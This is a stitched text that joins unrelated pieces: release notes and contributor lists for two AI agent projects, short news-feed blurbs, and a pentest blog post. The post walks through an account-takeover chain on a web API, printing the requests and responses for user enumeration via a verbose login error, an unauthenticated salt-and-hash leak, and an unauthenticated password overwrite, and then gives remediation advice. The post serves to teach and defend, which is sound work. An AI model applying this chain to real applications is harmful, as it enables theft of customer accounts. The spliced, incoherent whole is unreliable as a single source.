• chown ui-tui and node_modules on UID remap so TUI esbuild works. (#33045)
• Include anthropic, bedrock, azure-identity extras in image. (#30504)
• Stop pushing per-commit SHA tags to Docker Hub. (#29387)
• Simplify Docker tagging — push both :main and :latest on main push. (#33225)
• Test slicing across GH actions jobs. (@ethernet8023) (#30575)
• Discover agent-browser Chromium binary at boot. (#33184)

🌐 API Server

• Session control API — /api/sessions/* (list/create/read/patch/delete/fork) + SSE-streaming chat. (salvages #29302 by @Codename-11 + multimodal followup by @Schwartz10) (#33134)
• GET /v1/skills and /v1/toolsets. (#33016)
• Coerce stringified booleans in stream/store/approval payloads. (salvage #26639) (#27293)
• Honor key_env in auth-failure fallback resolution. (#30840)

🎟️ ACP (VS Code / Zed / JetBrains)

• Session edit auto-approval modes. (salvage of #27034) (#27862)
• Enrich Zed permission cards — command in title + reject_always. (#28148)
• Replay session history before responding to session/load. (#26957, #26943)
• Plugin-transformed final_response delivered through streaming gate. (#31433)

🔌 Plugin Surface

• register_tts_provider() plugin hook. (salvage of #30420) (#31745)
• register_transcription_provider() hook + stt.providers command-provider registry. (salvage of #30493) (#31907)
• register_auxiliary_task() in PluginContext API. (salvage #29817) (#31177)
• Bundled security-guidance plugin. (#33131)
• Discord and Mattermost migrated to bundled plugins. (#30591, #31748)
• ntfy as platform plugin. (#30867)
• Surface category-namespaced plugins in hermes plugins list. (#27187)
• Plugin discovery failures raised to WARNING level. (#28318)
• hermes_plugins included in gateway.log component filter. (#28313)
• Seed plugin extras before is_connected gate. (#31703)
• Dashboard: allowlist plugin assets + denylist subprocess-influencing env vars. (#32277)

📦 Distribution & Install

• Install-method stamping + Docker detection. (@alt-glitch) (#27843)
• Nix #messaging and #full package variants. (@alt-glitch) (#33108)
• Pre-load messaging gateway deps via --extra messaging. (salvage #26394) (#27558)
• Avoid piping installer directly into iex (Windows). (#28347)
• Ship bundled skills in wheel. (#28421)
• Ship dashboard plugin assets in wheel. (#28406)
• Make Camofox lazy-installed instead of eager. (#27055)
• Wire STT lazy-install into transcription_tools.py. (#30256)

🐛 Notable Bug Fixes (highlights only)

• Match bare custom provider by active base URL in hermes model. (#28908)
• Route auxiliary.vision.provider=openai to api.openai.com, skip text-only main. (#31452)
• Lint: skip per-file shell linter when LSP will handle the file. (#29054)
• Treat empty credential pool entries as unauthenticated in /model picker. (#28312)
• Reverted within window: Firecrawl integration tag, send_message @username auto-mentions, Telegram quick-command-only menus, Telegram pin-on-turn.

🧪 Testing

• Disarm lazy-install probe so _HAS_FASTER_WHISPER patches work. (#30334)
• Cover default board dashboard pin. (#28361)
• Cover _task_dict task_age fallback. (#28365)
• Allowlist tmp_path for kanban_notify artifact delivery tests. (#30851, #30852)
• Cover null output stream terminal events in Codex. (#33137)

📚 Documentation

• 30-day docs overhaul — full correctness audit, every PR in the window covered, Nous Portal weave, sidebar reorg. (#33782)
• Dedicated Nous Portal integration page and setup guide. (#31296)
• Providers: move Nous Portal first, Google Gemini OAuth last. (#31287)
• session_search rewrite for single-shape tool. (#27840)
• Kanban: document failure_limit, max_retries, inline create shortcuts, goals & kanban settings. (#28357, #28358, #28359, #28360, #28362)
• Kanban Codex lane skill. (#28430)
• xAI OAuth: note X Premium+ also unlocks Grok OAuth. (#29055)
• Docs site: Docker audio bridge notes, "Installing more tools in the container", xurl auth HOME in Docker.
• Email: clarify gateway vs Himalaya setup. (@helix4u) (#33634)
• Auth docs: replace stale hermes login references with hermes auth add. (#32859)

👥 Contributors

Core

• @teknium1 (lead)

Notable salvages & cherry-picks

• @benbarclay — s6-overlay container supervision (29 commits salvaged), Node 22 LTS upgrade, build-essential cleanup, gateway run auto-redirect in s6, tee supervised stdout to docker logs, hermes update Docker guidance, build-time SHA stamping
• @OutThisLife — hermes gui desktop launcher, mouse_tracking DEC mode presets
• @jquesnelle — Windows installer hardening, --branch flag for hermes update, install.ps1 BOM strip / commit-pin
• @alt-glitch — Windows dep_ensure bootstrap, Nix package variants (.#messaging, .#full), install-method stamping, ACP browser bootstrap consolidation
• @austinpickett — /update slash command, dashboard checkboxes → @nous-research/ui, mobile dashboard polish, collapsible sidebar
• @ethernet8023 — Nix .#desktop packaging, CI test slicing across GH Actions jobs, TUI clipboard copy fix
• @kshitijk4poor — doctor section banner + fail-and-issue helpers extraction, post-tag salvage cluster (curator-fallout, kanban SQLite hardening, install world-readable uv dirs, xAI bare-code paste)
• @rewbs — Nous JWT inference switch + refresh-token replay fix
• @Codename-11 + @Schwartz10 — session control API (REST + SSE + multimodal followup)
• @Niraven — kanban swarm topology helper
• @Interstellar-code — kanban worker visibility endpoints
• @adybag14-cyber — termux cold-start optimizations (multiple PRs)
• @qike-ms — Telegram in-place status edits design
• @sprmn24 — ntfy adapter
• @Jaaneek — xAI Web Search provider plugin
• @yannsunn — xAI upstream adapter for hermes proxy
• @Cybourgeoisie — OpenRouter sticky routing via session_id
• @memosr — Nous Portal base_url allowlist validation
• @Sunil123135 — Windows Docker Desktop compose file
• @Dusk1e — Docker HOME alignment for dashboard + s6 gateway services
• @beardthelion — opencode-go anthropic_messages routing
• @YLChen-007 — Skills Guard multi-word prompt patterns
• @roadhero — env_passthrough GHSA-rhgp-j443-p4rf filter
• @Zyrixtrex — Google Chat OAuth credential persistence hardening
• @briandevans, @tomqiaozc — defense-in-depth read-deny on credential stores
• @PratikRai0101 — control-plane file write protection
• @helix4u, @Bartok9, @zccyman — auxiliary fallback ladder components
• @ms-alan, @ticketclosed-wontfix, @donovan-yohan — TUI session orchestrator + follow-ups
• @daimon-nous[bot] — cron per-job profile support
• @bisko — re-pad reasoning_content on cross-provider fallback

All Contributors

@02356abc, @0xchainer, @0xDevNinja, @0xjackyang, @0xsir0000, @0z1-ghb, @8bit64k, @aaronlab, @AceWattGit,
@ACR27, @adam91holt, @AdamPlatin123, @Ade5954, @AdityaRajeshGadgil, @adybag14-cyber, @AhmetArif0, @ai-hana-ai,
@alaamohanad169-ship-it, @alber70g, @albert748, @alt-glitch, @aqilaziz, @argabor, @asdlem, @austinpickett,
@avifenesh, @awizemann, @B0Tch1, @Bartok9, @BaxBit, @Beandon13, @beardthelion, @benbarclay, @bensargotest-sys,
@binhnt92, @bird, @bisko, @BlackishGreen33, @booker1207, @bradhallett, @briandevans, @Brixyy, @brndnsvr,
@BROCCOLO1D, @btorresgil, @burjorjee, @carltonawong, @Carry00, @chaconne67, @chdlc, @chromalinx, @ChyuWei,
@CipherFrame, @cmullins70, @CNSeniorious000, @codeblackhole1024, @Codename-11, @colin-chang, @counterposition,
@cresslank, @CryptoByz, @cyb0rgk1tty, @Cybourgeoisie, @daizhonggeng, @darvsum, @davidcampbelldc, @deas,
@dgians, @dillweed, @DoGMaTiiC, @donovan-yohan, @draplater, @Drexuxux, @dskwe, @dsr-restyn, @Dusk1e,
@dusterbloom, @duyua9, @egilewski, @el-analista, @eliteworkstation94-ai, @eloklam, @EloquentBrush0x, @emonty,
@emozilla, @erhnysr, @erikengervall, @erosika, @ether-btc, @ethernet8023, @EvilHumphrey, @fabiosiqueira,
@falasi, @falconexe, @fardoche6, @felix-windsor, @Fewmanism, @ffr31mr, @flamiinngo, @flanny7, @flooryyyy,
@fonhal, @francip, @fujinice, @gianfrancopiana, @glennc, @Glucksberg, @godlin-gh, @Grogger, @guillaumemeyer,
@Gutslabs, @H-Ali13381, @hanzckernel, @haran2001, @hawknewton, @hayka-pacha, @hehehe0803, @helix4u, @HenkDz,
@Hermes, @hermesagent26, @Hinotoi-agent, @hongchen1993, @honor2030, @houenyang-momo, @ht1072, @hueilau,
@iamfoz, @ilonagaja509-glitch, @InB4DevOps, @indigokarasu, @Interstellar-code, @iqdoctor, @iRonin, @Jaaneek,
@JabberELF, @jacevys, @jackey8616, @jackjin1997, @jdelmerico, @jfuenmayor, @Jiahui-Gu, @JimLiu, @joe102084,
@JohnC1009, @jonpol01, @Jpalmer95, @Julientalbot, @justemu, @justincc, @jvinals, @karthikeyann, @kasunvinod,
@kchuang1015, @kenyonxu, @khungate, @kiranvk-2011, @kjames2001, @konsisumer, @kpadilha, @kriscolab,
@krislidimo, @kronexoi, @kshitijk4poor, @kunci115, @Kylejeong2, @kylekahraman, @LaPhilosophie, @leeseoki0,
@lemassykoi, @Lempkey, @LeonJS, @LeonSGP43, @lidge-jun, @LifeJiggy, @liuhao1024, @LizerAIDev, @loicnico96,
@loongfay, @m0n3r0, @malaiwah, @matthewlai, @mavrickdeveloper, @maxmilian, @McClean-Edison, @memosr,
@Mind-Dragon, @momowind, @MoonJuhan, @MoonRay305, @moortekweb-art, @MorAlekss, @ms-alan, @Nami4D,
@nehaaprasaad, @nekwo, @nftpoetrist, @NickLarcombe, @nidhi-singh02, @Niraven, @nnnet, @noctilust, @novax635,
@nthrow, @nv-kasikritc, @nycomar, @OCWC22, @oemtalks, @OmX, @ooovenenoso, @orcool, @oseftg, @outsourc-e,
@OutThisLife, @Paperclip, @PaTTeeL, @pepelax, @phoenixshen, @Pluviobyte, @pnascimento9596, @pochi-gio, @pr7426,
@PratikRai0101, @Prithvi1994, @psionic73, @ptichalouf, @Que0x, @QuenVix, @quocanh261997, @qWaitCrypto, @Qwinty,
@r266-tech, @rak135, @rdasilva1016-ui, @rewbs, @roadhero, @rodrigoeqnit, @RonHillDev, @roycepersonalassistant,
@rudi193-cmd, @RyanRana, @sadiksaifi, @samahn0601, @samggggflynn, @SamuelZ12, @sanghyuk-seo-nexcube,
@Saurav0989, @savanne-kham, @Schrotti77, @Schwartz10, @SerenityTn, @sgtworkman, @sharziki, @shaun0927,
@shellybotmoyer, @shunsuke-hikiyama, @SimbaKingjoe, @SimoKiihamaki, @sir-ad, @Slimydog21, @slowtokki0409,
@Soju06, @someaka, @soynchux, @sprmn24, @Stark-X, @steezkelly, @stepanov1975, @stephenschoettler,
@stevehq26-bot, @steveonjava, @Strontvod, @subtract0, @Sunil123135, @superearn-fisher, @Sylw3ster, @tchanee,
@that-ambuj, @thedavidmurray, @TheOnlyMika, @therahul-yo, @thewillhuang, @ticketclosed-wontfix, @Timur00Kh,
@tomqiaozc, @Tosko4, @Tranquil-Flow, @tw2818, @uzunkuyruk, @vaddisrinivas, @vanthinh6886, @vgocoder,
@victorGPT, @vynxevainglory-ai, @waefrebeorn, @walli, @wangpuv, @wanwan2qq, @wesleysimplicio, @worlldz,
@wpengpeng168, @WuKongAI-CMU, @wuli666, @Wysie, @wysie, @xxxigm, @yannsunn, @YanzhongSu, @YarrowQiao, @ygd58,
@YLChen-007, @yoniebans, @yu-xin-c, @YuanHanzhong, @zapabob, @zccyman, @ziliangpeng, @zwolniony, @Zyrixtrex

Full Changelog: v2026.5.16...v2026.5.28

The post Switcher 2026: The Quest for a Notion Replacement ⭐ appeared first on Thurrott.com.

This week, in addition to the usual links, app debuts, and recap of MacStories' articles and podcasts:

• Antinote, by Jonathan
• It's All Just Software, by John
• Obsidian into Claude and App Quality, by Jonathan

Read more of this story at Slashdot.

Senior pentesters find these toxic combinations the same way every time. A four-phase methodology. Each phase asks one question. This post walks the methodology through a real discovery from an authorized assessment.

The Outcome First

A handful of anonymous API calls. One legitimate login at the end, as the victim. Five thousand customer accounts, every one of them reachable. Every password overwritten in a few seconds. Every account logged in to with the credentials the attacker chose. No privilege escalation, no token forgery, no exploit primitive. Every request the chain made was authorized as the attacker, because most of the chain never asked the attacker who they were.

The scanner that ran against the same application before the engagement reported the underlying findings as separate items. None rated Critical. All sat unremarkably in the triage backlog.

This post walks through how a pentester gets from those findings to that outcome. The mechanism is a methodology. It does not appear on any scanner’s findings list, but every experienced practitioner uses some version of it, and the structure is consistent enough to teach.

The methodology has four phases. Each phase asks one specific question of the application. The answers from each phase become inputs to the next. When all four answers connect, you have a toxic combination. Three or four findings whose individual severities understate what they enable when chained. In the engagement walked through here, that combination is one Low, one Medium, and one High that compose into a Critical.

The four questions:

• [1] Information Gathering. What does the application teach me, that I shouldn’t have learned, just by being here?
• [2] Vulnerability Analysis. Which inputs identify objects, and which of those are not bound to my session?
• [3] Attack Execution. Does the same identifier I just exfiltrated work on a write endpoint? And was authentication required at all?
• [4] Exploitation. Can the chain produce a state change the application’s normal threat model would not detect?

Each phase carries a severity rating taken in isolation. None of the individual ratings is Critical. The combination is.

What follows comes from an authorized assessment. The endpoint paths, request shapes, and overall chain are reproduced from the engagement. The data values (names, emails, profile IDs, hash strings) are synthesized so nothing in this post identifies the assessed application or any real customer. The pattern reported here was filed, escalated, and remediated before the application’s planned sunset.

The Starting Position

The engagement began the way most do. Pre-test triage produced the usual mix. A few missing security headers, a reflective XSS hint that turned out to be a false positive, a “verbose error message” entry against the login endpoint marked Medium, and a generic “missing headers on JavaScript file” against app.js.

If I had treated that as a finished list, the engagement would have been a four-paragraph memo. Three findings to acknowledge, one to push back on, sign off, move on. The chain that ended in mass account takeover would have stayed undiscovered.

I opened the JavaScript file anyway. Not because I expected anything interesting. Reading the bundle is a habit I picked up from senior reviewers years ago. Automated tooling can tell me a file is missing a header. It cannot tell me what the file does.

Every step of the methodology starts from the lowest-privilege legitimate position the application allows. Not because elevated access is hard to get, but because chains that start from admin tell us nothing about the threat model that matters most. The user the application already trusts. The chain that follows holds against an unauthenticated visitor for the first three phases. The position rises to a legitimate customer login only at the very end, when the chain reaches its outcome.

Phase 1: Information Gathering

What does the application teach me, that I shouldn’t have learned, just by being here?

I never logged in for this phase. Visiting the login page through Burp’s proxy was enough.

The login page’s HTML loads four obvious script files (main.js, apim-auth.js, env.js, firebase.js) and one less obvious one. A <link rel=”preload” as=”script” href=”/js/app.js”> declaration in the page head causes the browser to issue a GET for /js/app.js during initial page load. This is the kind of tag a webpack build emits when it wants the browser to prefetch a route chunk for the next navigation. Burp captured all five files in the same proxy history sequence, before I had typed a single character into the login form. The fifth file, app.js, is the post-login dashboard’s bundle. Its presence in the proxy history meant the application had already shipped its post-login API catalog to me, an unauthenticated visitor.

Opening app.js in Burp’s response viewer, the first dozen lines told me everything I needed to know about the API surface I was about to test.

// Internal API endpoint catalog (used by build tools, do not remove)
 // POST /api/login body { email, password }
 // GET /api/profile?id=N profile by numeric id (admin only)
 // GET /api/profile/password?id=N legacy reset-lookup (returns salt+hash)
 // PUT /api/profile/password body { id?, currentPassword?, newPassword }
 // POST /api/account/info body { userProfileID: N }
 //
 // TODO(qa): remove qa.test@acme-portal.local seed account before release.
 // Leftover from QA cycle. Admin role, used for password-reset regression tests.

Three things jump out of the catalog in under five seconds.

1. /api/profile?id=N is annotated “admin only”, but it is rendered by the customer dashboard. Either the comment is wrong, the gate is wrong, or both. Worth probing.

2. /api/profile/password GET returns salt+hash. That phrase belongs in a database row, not an HTTP response body. Worth probing harder.

3. PUT /api/profile/password accepts an id in addition to currentPassword. Optional id. Two execution branches in one endpoint. The branch that takes id cannot also be requiring the current password, otherwise the optional structure makes no sense.

The TODO comment names a specific email, qa.test@acme-portal.local. The developer who wrote the comment intended to remove the seed account before release. They clearly did not. The seed account also appears to have an admin role.

I rated this finding Low in isolation. Information disclosure to unauthenticated visitors is a notch worse than disclosure to authenticated users, but the file does not contain credentials, tokens, or directly exploitable data on its own. A reviewer skimming the bundle would tag it “Low, verify, accept the risk if no PII is exposed.” That triage is technically correct. It also prematurely closes the most interesting input the chain ever produces.

The methodology question for Phase 1 is not “what is the severity of the JS bundle exposure?” The question is what does the application teach me that I shouldn’t have learned just by being here? The answer is an inventory of inputs the developers thought the requester would not see.

That inventory is the input for Phase 2.

Phase 2: Vulnerability Analysis

Which inputs identify objects, and which of those are not bound to my session?

Phase 2 lives inside the login endpoint, which the application has to expose to unauthenticated visitors by definition. I stayed unauthenticated.

Before testing the other endpoints from the catalog directly, I tried something the JS bundle made specifically possible. I attempted to log in using qa.test@acme-portal.local, the email left behind in the TODO comment, with a deliberately wrong password. I expected the standard “Invalid credentials” response. What I got was different.

POST /api/login HTTP/1.1
Content-Type: application/json
 
{"email":"qa.test@acme-portal.local","password":"wrongpass"}

Response:
    {
     "IsSuccess": false,
     "error": "Email exists but password is incorrect",
     "email": "qa.test@acme-portal.local",
     "userName": "QA Test Account",
     "userProfileID": 9999,
     "role": "admin"
    }

The IsSuccess: false field told me authentication failed. Everything below it told me the account exists, that it is named “QA Test Account”, that its profile ID is 9999, and that its role is admin. None of that should be in a failed-login response.

I tested the same path against an email I knew was not in the system (noone@nowhere.invalid).

{ "IsSuccess": false, "error": "Invalid credentials" }

Generic 401, no metadata. The verbose response only fires when the email exists. That is not a verbose error message. That is a user-enumeration oracle. Type any email at the login endpoint and the response shape tells you whether the email is registered. If it is, it also tells you the user’s name, profile ID, and role.

I confirmed the same shape against a known regular customer.

{
 "IsSuccess": false,
 "error": "Email exists but password is incorrect",
 "email": "sarah.thompson@outlook.com",
 "userName": "Sarah Thompson",
 "userProfileID": 2,
 "role": "customer"
}

The failed-login path leaks email, name, profile ID, and role for any registered email, to an unauthenticated visitor, with no rate limit applied. I rated this Medium in isolation. Verbose-error responses that disclose user metadata land squarely in standard Medium territory, and that rating is the right one to file. What elevates this finding inside the chain is the role field. That field tells the attacker which profile IDs are admin accounts, which becomes the prioritization for Phase 3. The Medium rating is correct. The chain is what makes it dangerous.

The output of Phase 2 is the data the gap leaks. Numeric profile IDs, and the knowledge that profile ID 9999 holds an admin role. That data is the input for Phase 3.

Phase 3: Attack Execution

Does the same identifier I just exfiltrated work on a write endpoint? And was authentication required at all?

The catalog from Phase 1 listed a curious endpoint.

GET /api/profile/password?id=N legacy reset-lookup (returns salt+hash)

Why would a password reset endpoint return the salt and hash? In a normal architecture, the reset flow generates a token, emails it, and accepts a new password. The hash never leaves the database. A “legacy reset-lookup” endpoint that returns hash and salt is the kind of thing that exists because some backend developer wrote a JSON wrapper around a legacy SOAP method without thinking about what they were exposing.

Out of habit, my first probe carried an Authorization header, a Bearer token I had picked up from a separate test session. The endpoint returned 200 with the salt and hash. I made the same call again with the Authorization header removed entirely. Same 200. Same salt and hash.

The endpoint had not checked the token. The endpoint was not checking authentication at all.

GET /api/profile/password?id=2 HTTP/1.1
Accept: application/json

Response:
    {
     "IsSuccess": true,
     "userProfileID": 2,
     "userName": "Sarah Thompson",
     "email": "sarah.thompson@outlook.com",
     "role": "customer",
     "passwordHash": "A917B980DA07B1051F071DCBD0CDA0BAED53567AEEE5E92B2E4765631ED4FEEF",
     "salt": "4329e437404ef2f8"
    }

No Authorization header. No session cookie. No API key. The endpoint never asked. Hash, salt, email, username, role, all returned to an anonymous caller, for any profile ID that exists.

This is two authorization failures stacked on the same endpoint. The first is missing authentication entirely. The endpoint accepts requests from anyone on the public internet without checking who is calling. The second is missing object-level authorization. Even if the endpoint did check the caller, it would have no notion of which profile IDs that caller is allowed to read, because the code doesn’t bind the id parameter to any session at all. A scanner would catch neither pattern by itself. It would see a 200 response and move on.

A senior pentester recognizes the broken-object-level-authorization shape on a credential-bearing endpoint and rates this High. Practical impact is offline credential cracking against any user the attacker can name, with no rate limit and no authentication barrier.

The methodology pushes one more step before rating. The output of an enumeration step is rarely the data of one record. It is the proof that the enumeration itself works, which means the next step is to scale. I added a second enumeration target, the account/info endpoint that the catalog also listed.

POST /api/account/info HTTP/1.1
Content-Type: application/json
 
{"userProfileID":3}

Response:
    {
     "IsSuccess": true,
     "userProfileID": 3,
     "userName": "Robert Chen",
     "email": "robert.chen@yahoo.com",
     "policyNumber": "POL-10004"
     }

Same pattern. No authentication required. No ownership check. The endpoint accepts any profile ID and returns email, username, and policy number. Looped over an incrementing range of profile IDs, this becomes a full customer enumeration in a few seconds. The customer database held close to 5000 records. The loop returned every one of them.

At this point I had, anonymously:

• A user-enumeration primitive (the verbose login response)
• A salt+hash leak for any profile ID (the GET reset-lookup)
• An email, name, and policy disclosure for any profile ID (the account/info endpoint)
• The knowledge that profile ID 9999 is a leftover admin account
• The original IDOR observation from the catalog comment (“admin only” gate that wasn’t enforced)

Three independent findings, each of which a triage process would handle separately. The methodology does not let me stop and report yet. Phase 3’s question is not just “did the read work?” It is does the same identifier I just exfiltrated work on a write endpoint?

The catalog listed the answer.

PUT /api/profile/password body { id?, currentPassword?, newPassword }

Optional id. Optional currentPassword. The shape itself is the bug. There is no execution path where the request both takes an id and requires the current password, because the optional structure does not allow it. The attacker passes the ID and skips the password check entirely.

PUT /api/profile/password HTTP/1.1
Content-Type: application/json
 
{"id": 2, "newPassword": "pwned!2026"}

Response:
{ "message": "Password updated", "userId": "CUST-002" }

No Authorization. No current-password challenge. Sarah Thompson’s password rewritten by an anonymous request, using only the profile ID enumerated from Phase 2.

I rated this High in isolation. Broken Object Level Authorization on the write side, sitting on top of broken authentication on the same endpoint. The read side already established that profile IDs are enumerable. The write side converts that enumeration into account-level state changes. This is the moment the chain becomes practical.

Phase 4: Exploitation

Can the chain produce a state change the application’s normal threat model would not detect?

The previous phases each produced a finding. This phase produces an outcome.

Phase 4 is the only authenticated request in the chain, and the attacker authenticates as the victim.

POST /api/login HTTP/1.1
Content-Type: application/json
 
{"email":"sarah.thompson@outlook.com","password":"pwned!2026"}

Response:
    {
     "IsSuccess": true,
     "token": "eyJhbGci…Sarah's customer token…",
     "role": "customer",
     "name": "Sarah Thompson",
     "customerId": "CUST-002"
    }

I am Sarah Thompson now, as far as the application is concerned. The login endpoint cannot tell me apart from her, because the credential store says I am her.

Looped across the enumerated profile IDs, this is mass account takeover. Every one of the nearly 5000 customer records was reachable from the chain. There is no impersonation, no token forgery, no privilege escalation. The application’s authentication did its job at the login endpoint, but the application’s authentication never ran at the other endpoints, because those endpoints did not require it. Authorization decisions on the object level (should this requester be allowed to act on this specific record) never happened either.

I stopped after demonstrating impact on a single account. Exploiting the rest of the enumerable population would have served no purpose for the report.

That is the asymmetry the methodology exposes. Mass takeover by a “legitimate” login does not look like an attack to most monitoring. It looks like a customer changing their password and logging in with the new password, repeatedly. Detection systems built around “unauthorized access” do not fire, because every request to the chain’s anonymous endpoints returned 200, and every login at the end returned a valid token. Nothing in the audit log says “attack.”

The Methodology, Extracted

Read backwards from the chain that worked, the methodology has four phases.

1. Information Gathering. What does the application teach me, that I shouldn’t have learned, just by being here?

2. Vulnerability Analysis. Which inputs identify objects, and which of those are not bound to my session?

3. Attack Execution. Does the same identifier I just exfiltrated work on a write endpoint? And was authentication required at all?

4. Exploitation. Can the chain produce a state change the application’s normal threat model would not detect?

Each phase carries a severity rating taken in isolation. None is Critical. The combination is.

When the four phases are complete, the chain documents into a single table that forces clarity about three things every chain has but reports often muddle. What the attacker learned at this step, what they could do with it, and what the next step needed as input.

Toxic Vulnerability Combinations: A Pentester’s Methodology in Four Phases

Three things the table makes explicit that a typical pentest report does not.

The “Available info” row tracks what the attacker carries forward. Each column’s available info is the input needed for the next column. Phase 2 needed the API catalog and the admin hint from Phase 1. Phase 3 needed the profile IDs from Phase 2. Phase 4 needed the rewritten passwords from Phase 3. If the table has a column where “Available info” cannot be reused as input to the next column, the chain breaks. If it can, the chain holds.

The “Auth required” row records what the application demanded at each step. Three of the four phases, including the one that exfiltrated credential material and the one that rewrote passwords, demanded nothing. That single row is the structural failure the entire chain rests on.

The “Methodology question” row is the teaching artifact. When a junior pentester reviews the table, the questions are reusable. The next time they hunt a chain, they ask the same four questions of a different application. The answers will be different. The methodology will be the same.

Remediation

The chain in this post worked because three different layers of defense were missing. Authentication, object-level authorization, and information-disclosure controls. Closing the chain means closing all three. Here is the layered fix, ordered by structural importance.

1. Authentication and Authorization

These are the load-bearing fixes. Everything else is detection on top of a broken foundation.

• Require authentication on every endpoint that returns account-scoped data. GET /api/profile, GET /api/profile/password, POST /api/account/info, and PUT /api/profile/password all need a valid session token. Endpoints accept anonymous calls because the developer assumed they would only be called from “trusted internal contexts.” There is no trusted internal context for an HTTP endpoint published on the public internet.
• Implement Role-Based Access Control (RBAC) at the route layer. Admin endpoints check role === ‘admin’ in middleware before the handler runs. Comments like // admin only in source code are not access control. The check has to be in code that executes on every request.
• Implement object-level authorization (BOLA prevention). Every endpoint that takes an identifier in input verifies the requester owns the resource. The pattern is if (resource.ownerId !== session.userId) return 403. Apply this at the database query layer when possible. SELECT * FROM profiles WHERE id = ? AND owner_id = ? removes the possibility of forgetting the ownership check in handler code.
• Require the current password on self-service password changes. Not optional. The optional id or currentPassword shape on PUT /api/profile/password was the write-side bug. Endpoint signatures should have exactly one execution path. If a function needs two paths, split it into two functions.
• Do not return credential material in API responses. The legacy reset-lookup endpoint that returned hash and salt should not exist. Password reset flows are token-based and never expose hashes to any client. If a legacy SOAP or JSON wrapper produced this response shape, the fix is to delete the wrapper or rewrite it to return only what the reset flow actually needs.

2. Information Disclosure

These close the channels Phase 1 and Phase 2 used to seed the chain.

• Generic error responses on the login endpoint. The verbose IsSuccess: false shape that disclosed email, name, profile ID, and role for any registered email is a user-enumeration oracle. Login failures should return { IsSuccess: false, error: ‘Invalid credentials’ } for every failure case (wrong password, nonexistent email, locked account, expired account) with consistent timing.
• Strip developer artifacts from production bundles. The API catalog and TODO comment that powered Phase 1 of this chain should not have been in app.js. Webpack’s TerserPlugin removes comments when comments: false is set in production builds. Inline JSDoc annotations on internal routes belong in source files, not built artifacts.
• Audit preload chains. The <link rel=”preload” as=”script” href=”/js/app.js”> tag shipped the post-login dashboard’s bundle to every visitor of the login page. Route-based code splitting can prevent this. app.js should be lazy-loaded after authentication, not preloaded eagerly.
• Remove seed and test accounts before production deployment. The QA seed account qa.test@acme-portal.local should not have shipped to production. CI/CD pipelines should fail builds if seed-only email patterns appear in the database migration set targeted at a production environment.

3. Operational Layer

Detection that catches the chain even when prevention fails.

• Rate limit the login endpoint by IP and by email address. Enumeration probing requires many requests against /api/login in a short window. Rate limits slow this enough that it becomes detectable before the attacker completes the enumeration.
• Monitor for the chain’s operational signature. High-volume password resets followed by successful logins from the same IP, across multiple accounts, is the fingerprint of this attack. Detection should fire on the rate and the across-account pattern, not on any single request.
• Anomaly detection on BOLA writes. Legitimate users change their own passwords occasionally. A single client changing many accounts’ passwords in a short window is anomalous and should fire. And should fire before the chain reaches Phase 4.

Takeaways

Automated tooling is good at finding individual classes of vulnerability and bad at finding sequences. A finding has a severity, a remediation, and a report entry. A chain has none of those. The taxonomy our tooling was built around was designed for bugs, not for combinations of bugs. That is why three findings rated Low, Medium, and High can sit unremarkably in a triage backlog while the chain they compose is Critical. The tooling is necessary. It is not sufficient. The methodology is what closes the gap.

What that means for the people doing the work:

• Pentesters and bug bounty researchers. Apply the four questions in sequence. When you find an IDOR, do not stop at the IDOR. Phase 2’s output is the input to Phase 3. Look at the next write endpoint that accepts the same identifier type. And test every endpoint without an Authorization header at least once. Missing-auth on the read side is one of the most common ways a chain that should have required a token becomes anonymously exploitable.
• Code reviewers. Ask two questions of every endpoint that takes an identifier in input. “Does this endpoint require authentication?” and “What happens if a user passes someone else’s id here?” Apply both to every endpoint, not just the ones that “look” sensitive. That pair of questions, applied consistently, turns chained authorization bugs into single-endpoint authorization bugs that tooling can find before the chain forms.
• Triage teams. Read the chain as a unit, not the findings as separate items. A verbose error, an unauthenticated IDOR on a read endpoint, and a missing current-password check on a write endpoint are not three unrelated tickets. They are three halves of one chain that need to be closed in the same release.
• Developers. Every parameter that names an object the requester might not own is an authorization decision waiting to happen. Every endpoint without an authentication middleware is an authorization decision the application has already refused to make. If your endpoint signature has an optional id parameter alongside an optional currentPassword parameter, you have written two execution paths into one function and one of them is going to skip a check it shouldn’t skip.

The chain is a category of vulnerability that does not exist on a scanner’s findings list and never will. Until our tools understand sequences, the work belongs to the practitioners who already do. The methodology in this post is one way to write that work down. Four questions a junior pentester can apply to a different application tomorrow morning, with the same instinct it used to take a senior reviewer ten years to build.

Author

Hemanth Gorijala is an application security practitioner. He builds open-source security tooling, conducts web application assessments, and reviews vulnerability reports in enterprise bug bounty programs. His open-source tooling for runtime credential detection, SecretSifter, is at github.com/secretsifter.

A Pentester’s Methodology for Toxic Vulnerability Combinations was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Changes

• Agents: clarify that fixes should default to clean bounded refactors, lean internals, and explicit plugin SDK/API deprecation paths.
• Dependencies: update @openclaw/proxyline to 0.3.3.
• Dependencies: update Pi packages to 0.75.1 and raise the minimum supported Node.js 22 line to 22.19.
• Docker/Podman: add OPENCLAW_IMAGE_APT_PACKAGES as the runtime-neutral image build arg for extra apt packages while keeping OPENCLAW_DOCKER_APT_PACKAGES as a legacy fallback. (#62431) Thanks @urtabajev.
• Gateway/ACPX: attribute startup probe, config, runtime, and resource-count costs in restart traces without changing readiness behavior. (#83300) Thanks @samzong.
• Gateway: overlap startup logging and plugin-service startup with channel sidecars to reduce restart ready latency while preserving /readyz sidecar gating. (#83301) Thanks @samzong.
• Plugins/admin-http-rpc: allow trusted admin HTTP RPC clients to start and wait for web QR login flows. (#83259) Thanks @liorb-mountapps.
• Mac app: redesign Settings pages with consistent card layouts, cached navigation, cleaner permissions/voice/skills/cron/exec/debug panes, and steadier spacing around the native sidebar.
• Skills: rename the repo-local Codex closeout review skill and helper to autoreview while preserving the Codex-first fallback behavior.
• Skills: add a meme-maker skill for curated template search, local SVG/PNG rendering, Imgflip hosted rendering, and Know Your Meme provenance links.
• Skills CLI: allow openclaw skills install and openclaw skills update to target shared managed skills with --global. (#74466) Thanks @Marvae.
• Browser: surface pending and recently handled modal dialogs in snapshots, return blockedByDialog when an action opens a modal, and allow browser dialog --dialog-id to answer pending dialogs.
• Browser CLI: add openclaw browser evaluate --timeout-ms so long-running page functions can extend both the evaluate action and request timeout budgets. (#83447) Thanks @eefreenyc.
• Codex app-server: scope OpenClaw prompt guidance by runtime surface so native Codex keeps Codex-owned base/personality instructions while OpenClaw contributes only runtime context, delivery guidance, and explicitly scoped command hints. (#83454) Thanks @100yenadmin.
